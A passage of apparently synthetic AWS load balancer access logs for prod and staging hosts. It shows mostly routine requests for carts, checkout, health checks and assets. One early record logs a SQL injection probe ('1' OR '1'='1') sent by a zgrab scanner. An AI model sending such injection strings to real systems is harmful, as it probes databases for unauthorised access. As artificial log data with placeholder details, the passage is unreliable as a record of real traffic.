2024-11-01T01:28:53.365879Z "forward" "-" "-" "10.0.90.109:443" "200" "-" "-" -https 2024-11-01T01:28:54.040730Z staging-alb 222.41.182.67:61838 167.178.69.116:80 0.096489 0.202634 0.125561 301 301 439 12336 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc66-1b84ffce8f774486b98c3200" "staging-alb.example.com" "-" 2 2024-11-01T01:28:54.040730Z "forward" "-" "-" "167.178.69.116:80" "301" "-" "-" -https 2024-11-01T01:28:55.797772Z prod-api-alb 94.2.149.76:41585 10.0.57.96:443 0.002913 0.211550 0.083108 301 301 195 2884 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc67-19ae41d5882147cda3f7e6d3" "prod-api-alb.example.com" "-" 1 2024-11-01T01:28:55.797772Z "forward" "-" "-" "10.0.57.96:443" "301" "-" "-" -https 2024-11-01T01:28:57.550591Z prod-web-alb 26.247.209.180:18966 10.0.204.38:443 0.007467 0.170096 0.092522 302 302 352 267 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc69-5249861e4431457b9d0296ce" "prod-web-alb.example.com" "-" 7 2024-11-01T01:28:57.550591Z "forward" "-" "-" "10.0.204.38:443" "302" "-" "-" -https 2024-11-01T01:28:58.732021Z prod-api-alb 185.181.95.188:32335 10.0.210.37:443 0.081928 0.476016 0.004241 200 200 66 7002 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc6a-5ef03f950ec145c2a72f33f9" "-" "-" 8 2024-11-01T01:28:58.732021Z "forward" "-" "-" "10.0.210.37:443" "200" "-" "-" -https 2024-11-01T01:28:59.566902Z prod-web-alb 70.173.224.5:35434 10.0.82.11:443 0.089172 0.368315 0.099904 302 302 720 262 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc6b-e9058d1068ae4e0d91449219" "prod-web-alb.example.com" "-" 9 2024-11-01T01:28:59.566902Z "forward" "-" "-" "10.0.82.11:443" "302" "-" "-" -https 2024-11-01T01:29:00.677485Z prod-web-alb 109.247.182.58:52043 10.0.107.135:443 0.075519 0.368549 0.049199 200 200 988 10297 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc6c-d427478e09414ed6a7fb7e77" "prod-web-alb.example.com" "-" 0 2024-11-01T01:29:00.677485Z "forward" "-" "-" "10.0.107.135:443" "200" "-" "-" -https 2024-11-01T01:29:02.084039Z prod-api-alb 71.11.236.73:30348 10.0.203.236:443 0.053588 0.252664 0.009446 200 200 5 12048 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc6e-2c452290a4c946e78a576c1a" "prod-api-alb.example.com" "-" 1 2024-11-01T01:29:02.084039Z "forward" "-" "-" "10.0.203.236:443" "200" "-" "-" -https 2024-11-01T01:29:03.004595Z prod-web-alb 109.157.69.152:42261 10.0.165.217:443 0.029382 0.241907 0.048379 200 200 324 990 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc6f-13eb247c2fe44c6a904a97bf" "prod-web-alb.example.com" "-" 4 2024-11-01T01:29:03.004595Z "forward" "-" "-" "10.0.165.217:443" "200" "-" "-" -https 2024-11-01T01:29:04.542039Z prod-web-alb 107.175.171.33:48521 10.0.117.178:443 0.039736 0.353604 0.088151 404 404 742 7794 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc70-4057d126c020480c951e2bcc" "prod-web-alb.example.com" "-" 7 2024-11-01T01:29:04.542039Z "forward" "-" "-" "10.0.117.178:443" "404" "-" "-" -https 2024-11-01T01:29:05.197968Z prod-web-alb 214.111.101.108:12674 10.0.102.55:443 0.058207 0.034647 0.057263 302 302 495 1436 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc71-cfcca1081581466780095c80" "prod-web-alb.example.com" "-" 10 2024-11-01T01:29:05.197968Z "forward" "-" "-" "10.0.102.55:443" "302" "-" "-" -https 2024-11-01T01:29:05.637957Z prod-web-alb 56.208.124.194:38833 10.0.231.82:443 0.050251 0.217087 0.022087 404 404 281 2711 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc71-4428d02afafe4e0a907e4469" "prod-web-alb.example.com" "-" 10 2024-11-01T01:29:05.637957Z "forward" "-" "-" "10.0.231.82:443" "404" "-" "-" -https 2024-11-01T01:29:07.059848Z prod-api-alb 124.216.170.203:14474 10.0.35.28:443 0.060367 0.484342 0.075568 404 404 410 12572 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc73-775c7453bb904bdbbd9a654d" "prod-api-alb.example.com" "-" 8 2024-11-01T01:29:07.059848Z "forward" "-" "-" "10.0.35.28:443" "404" "-" "-" -https 2024-11-01T01:29:07.448382Z prod-web-alb 56.162.85.171:12020 10.0.237.243:443 0.009324 0.423235 0.066470 301 301 633 1960 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc73-c49820490b8f4a8ca4b8c6cc" "prod-web-alb.example.com" "-" 9 2024-11-01T01:29:07.448382Z "forward" "-" "-" "10.0.237.243:443" "301" "-" "-" -http 2024-11-01T01:29:08.572907Z staging-alb 64.31.125.208:19455 138.47.194.129:80 0.054427 0.240834 0.082674 404 404 960 878 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc74-93f1bf414f0d44b980d802de" "staging-alb.example.com" "-" 10 2024-11-01T01:29:08.572907Z "forward" "-" "-" "138.47.194.129:80" "404" "-" "-" -https 2024-11-01T01:29:09.582306Z staging-alb 57.56.202.223:63531 107.236.238.30:80 0.059567 0.511931 0.085562 302 302 862 4619 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc75-5cd2d383a07542e8a535e8ed" "staging-alb.example.com" "-" 1 2024-11-01T01:29:09.582306Z "forward" "-" "-" "107.236.238.30:80" "302" "-" "-" -http 2024-11-01T01:29:10.834170Z staging-alb 174.225.46.93:13865 177.188.97.206:8080 0.145908 0.396784 0.047981 404 404 150 6019 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc76-be7b941f84cb465bafcbe9f9" "staging-alb.example.com" "-" 0 2024-11-01T01:29:10.834170Z "forward" "-" "-" "177.188.97.206:8080" "404" "-" "-" -https 2024-11-01T01:29:11.999259Z prod-web-alb 241.86.177.47:41360 10.0.35.197:443 0.063930 0.420903 0.078122 200 200 705 5254 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc77-cf577c3a4340443b9133a68b" "prod-web-alb.example.com" "-" 2 2024-11-01T01:29:11.999259Z "forward" "-" "-" "10.0.35.197:443" "200" "-" "-" -https 2024-11-01T01:29:12.800371Z prod-api-alb 35.89.142.64:15555 10.0.195.68:443 0.076026 0.360383 0.002240 200 200 976 7007 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc78-f9946ac356144d3a938dabb7" "prod-api-alb.example.com" "-" 3 2024-11-01T01:29:12.800371Z "forward" "-" "-" "10.0.195.68:443" "200" "-" "-" -https 2024-11-01T01:29:14.047040Z staging-alb 34.98.211.10:29196 77.0.228.55:8080 0.126672 0.268984 0.045511 200 200 207 5357 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc7a-1518aec610d2445384a89cb8" "staging-alb.example.com" "-" 0 2024-11-01T01:29:14.047040Z "forward" "-" "-" "77.0.228.55:8080" "200" "-" "-" -https 2024-11-01T01:29:14.452979Z prod-web-alb 169.83.178.88:28440 10.0.212.90:443 0.078244 0.464537 0.093778 301 301 342 3562 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc7a-749bc7f978044931a1fc4e0f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:29:14.452979Z "forward" "-" "-" "10.0.212.90:443" "301" "-" "-" -http 2024-11-01T01:29:14.568067Z staging-alb 42.139.209.233:34881 154.150.149.168:80 0.051787 0.449684 0.042830 200 200 581 975 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc7a-21e59ffcb9c94398ad4883cf" "staging-alb.example.com" "-" 1 2024-11-01T01:29:14.568067Z "forward" "-" "-" "154.150.149.168:80" "200" "-" "-" -http 2024-11-01T01:29:16.561508Z staging-alb 154.212.235.102:40484 95.34.115.251:80 0.114286 0.214316 0.090394 200 200 652 5386 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc7c-601db03f08864e798c2be33a" "staging-alb.example.com" "-" 10 2024-11-01T01:29:16.561508Z "forward" "-" "-" "95.34.115.251:80" "200" "-" "-" -https 2024-11-01T01:29:17.634371Z prod-web-alb 42.212.217.228:27207 10.0.173.206:443 0.080884 0.391494 0.058994 404 404 497 11026 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc7d-ecdbd611a4534e61a48a8403" "prod-web-alb.example.com" "-" 1 2024-11-01T01:29:17.634371Z "forward" "-" "-" "10.0.173.206:443" "404" "-" "-" -https 2024-11-01T01:29:17.853011Z prod-web-alb 151.117.58.133:38134 10.0.51.18:443 0.011032 0.363296 0.037051 301 301 336 6616 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc7d-d5280f61534f4827abac8f1b" "prod-web-alb.example.com" "-" 5 2024-11-01T01:29:17.853011Z "forward" "-" "-" "10.0.51.18:443" "301" "-" "-" -https 2024-11-01T01:29:19.838996Z prod-api-alb 186.197.121.210:52273 10.0.152.149:443 0.048253 0.482665 0.001202 404 404 301 8485 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc7f-a1b9e58f4e8843e78b20bc1a" "prod-api-alb.example.com" "-" 3 2024-11-01T01:29:19.838996Z "forward" "-" "-" "10.0.152.149:443" "404" "-" "-" -https 2024-11-01T01:29:21.258120Z prod-web-alb 171.213.38.101:37197 10.0.48.205:443 0.039079 0.302028 0.025330 200 200 915 12590 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc81-bb91e58dbc624543b29e8e60" "prod-web-alb.example.com" "-" 5 2024-11-01T01:29:21.258120Z "forward" "-" "-" "10.0.48.205:443" "200" "-" "-" -https 2024-11-01T01:29:21.983378Z prod-web-alb 47.44.249.86:46180 10.0.92.105:443 0.058034 0.220241 0.065013 200 200 724 1825 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc81-f3024b81c4214730b24b73a4" "prod-web-alb.example.com" "-" 3 2024-11-01T01:29:21.983378Z "forward" "-" "-" "10.0.92.105:443" "200" "-" "-" -https 2024-11-01T01:29:22.633917Z prod-web-alb 108.164.80.167:54950 10.0.198.71:443 0.071372 0.032694 0.047533 302 302 744 1591 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc82-0c67b4579617456589283709" "prod-web-alb.example.com" "-" 6 2024-11-01T01:29:22.633917Z "forward" "-" "-" "10.0.198.71:443" "302" "-" "-" -https 2024-11-01T01:29:23.286349Z staging-alb 1.88.35.22:36705 253.102.235.40:443 0.081196 0.667641 0.000701 301 301 753 3343 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc83-15b3152636ae4b929e12ca37" "staging-alb.example.com" "-" 4 2024-11-01T01:29:23.286349Z "forward" "-" "-" "253.102.235.40:443" "301" "-" "-" -https 2024-11-01T01:29:25.124028Z prod-web-alb 39.37.21.9:63835 10.0.196.7:443 0.073643 0.281316 0.032914 200 200 516 540 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc85-7711f96635954df9b843369a" "prod-web-alb.example.com" "-" 7 2024-11-01T01:29:25.124028Z "forward" "-" "-" "10.0.196.7:443" "200" "-" "-" -http 2024-11-01T01:29:26.417059Z staging-alb 203.232.129.158:50363 227.112.55.43:443 0.138079 0.183841 0.120220 302 302 566 14926 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc86-dbf2725787494a60b7e98fa6" "staging-alb.example.com" "-" 0 2024-11-01T01:29:26.417059Z "forward" "-" "-" "227.112.55.43:443" "302" "-" "-" -https 2024-11-01T01:29:26.864002Z prod-web-alb 99.95.9.137:35815 10.0.59.94:443 0.009792 0.272041 0.030756 301 301 193 742 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc86-8aa11bc5c67948849c26914b" "prod-web-alb.example.com" "-" 9 2024-11-01T01:29:26.864002Z "forward" "-" "-" "10.0.59.94:443" "301" "-" "-" -https 2024-11-01T01:29:28.703014Z prod-web-alb 207.246.146.128:54438 10.0.222.46:443 0.098117 0.252280 0.073213 200 200 306 4637 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc88-f1d1ef6e78f64da8ac31c1c9" "prod-web-alb.example.com" "-" 3 2024-11-01T01:29:28.703014Z "forward" "-" "-" "10.0.222.46:443" "200" "-" "-" -https 2024-11-01T01:29:29.398075Z prod-web-alb 163.114.251.104:51075 10.0.108.201:443 0.085791 0.226059 0.087529 301 301 155 14465 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc89-5da1cb36dd8c4e65997e73ec" "prod-web-alb.example.com" "-" 5 2024-11-01T01:29:29.398075Z "forward" "-" "-" "10.0.108.201:443" "301" "-" "-" -https 2024-11-01T01:29:31.328321Z prod-web-alb 118.231.152.26:21355 10.0.230.50:443 0.018680 0.440594 0.096839 200 200 949 5913 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc8b-ce136d843ec44c079027f79e" "prod-web-alb.example.com" "-" 2 2024-11-01T01:29:31.328321Z "forward" "-" "-" "10.0.230.50:443" "200" "-" "-" -https 2024-11-01T01:29:33.022713Z staging-alb 105.151.180.220:45990 127.66.179.196:80 0.022903 0.631194 0.006763 200 200 378 14512 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc8d-287ae6be86324a58b37c55a2" "staging-alb.example.com" "-" 3 2024-11-01T01:29:33.022713Z "forward" "-" "-" "127.66.179.196:80" "200" "-" "-" -https 2024-11-01T01:29:33.305853Z staging-alb 176.133.254.135:31421 169.120.152.180:443 0.013729 0.311030 0.029103 404 404 841 14433 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc8d-142999d255194e829c469be3" "staging-alb.example.com" "-" 5 2024-11-01T01:29:33.305853Z "forward" "-" "-" "169.120.152.180:443" "404" "-" "-" -https 2024-11-01T01:29:33.617742Z prod-api-alb 241.45.32.205:13844 10.0.239.78:443 0.025782 0.303987 0.009262 200 200 894 7615 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc8d-139f175f1bc04c709a9ce26f" "prod-api-alb.example.com" "-" 9 2024-11-01T01:29:33.617742Z "forward" "-" "-" "10.0.239.78:443" "200" "-" "-" -http 2024-11-01T01:29:35.450068Z staging-alb 124.202.162.243:32197 234.178.21.175:80 0.099063 0.596107 0.054345 200 200 407 9832 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc8f-a34f6329c0f848ec987db61d" "staging-alb.example.com" "-" 2 2024-11-01T01:29:35.450068Z "forward" "-" "-" "234.178.21.175:80" "200" "-" "-" -https 2024-11-01T01:29:37.077697Z prod-api-alb 130.252.133.18:14540 10.0.185.160:443 0.066542 0.275167 0.061390 301 301 54 10544 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc91-23c784b6ed094fdc8baced2b" "prod-api-alb.example.com" "-" 0 2024-11-01T01:29:37.077697Z "forward" "-" "-" "10.0.185.160:443" "301" "-" "-" -https 2024-11-01T01:29:37.979886Z prod-web-alb 251.21.107.81:39808 10.0.42.230:443 0.013714 0.473654 0.049446 200 200 324 13515 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc91-08910765267d465493d8bee0" "prod-web-alb.example.com" "-" 5 2024-11-01T01:29:37.979886Z "forward" "-" "-" "10.0.42.230:443" "200" "-" "-" -http 2024-11-01T01:29:38.453606Z staging-alb 85.161.84.6:60675 230.223.142.231:8080 0.080769 0.007446 0.045484 200 200 237 6357 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc92-2efdc5da692d40fea7d7b7e1" "staging-alb.example.com" "-" 0 2024-11-01T01:29:38.453606Z "forward" "-" "-" "230.223.142.231:8080" "200" "-" "-" -http 2024-11-01T01:29:38.947986Z staging-alb 59.28.255.249:37859 152.39.217.180:8080 0.010780 0.362034 0.046688 302 302 597 10679 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc92-e5c9af9c08494b86a6807d83" "staging-alb.example.com" "-" 10 2024-11-01T01:29:38.947986Z "forward" "-" "-" "152.39.217.180:8080" "302" "-" "-" -https 2024-11-01T01:29:39.590902Z prod-web-alb 108.60.173.167:60692 10.0.218.230:443 0.025590 0.434413 0.043019 302 302 229 4648 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc93-e02c273e4896412e8060a26b" "prod-web-alb.example.com" "-" 9 2024-11-01T01:29:39.590902Z "forward" "-" "-" "10.0.218.230:443" "302" "-" "-" -https 2024-11-01T01:29:39.943818Z prod-api-alb 175.48.152.140:44403 10.0.6.76:443 0.039402 0.402367 0.033505 200 200 482 12125 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc93-1eb3d8977a82403e8100907b" "prod-api-alb.example.com" "-" 1 2024-11-01T01:29:39.943818Z "forward" "-" "-" "10.0.6.76:443" "200" "-" "-" -https 2024-11-01T01:29:40.590990Z staging-alb 174.120.65.143:25277 246.35.222.163:8080 0.107917 0.269402 0.133313 200 200 775 3489 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc94-850c5d7af6ce47b3b1103b91" "staging-alb.example.com" "-" 6 2024-11-01T01:29:40.590990Z "forward" "-" "-" "246.35.222.163:8080" "200" "-" "-" -https 2024-11-01T01:29:41.181067Z prod-api-alb 55.62.42.183:24572 10.0.235.212:443 0.044363 0.042586 0.011554 200 200 586 5528 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc95-beacf295355f4a7cb7472293" "prod-api-alb.example.com" "-" 7 2024-11-01T01:29:41.181067Z "forward" "-" "-" "10.0.235.212:443" "200" "-" "-" -https 2024-11-01T01:29:42.461759Z prod-api-alb 158.56.199.60:36566 10.0.113.56:443 0.019207 0.375906 0.078936 200 200 631 4431 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc96-e50bd59a89fc4a4299e45ae9" "prod-api-alb.example.com" "-" 8 2024-11-01T01:29:42.461759Z "forward" "-" "-" "10.0.113.56:443" "200" "-" "-" -https 2024-11-01T01:29:44.290883Z 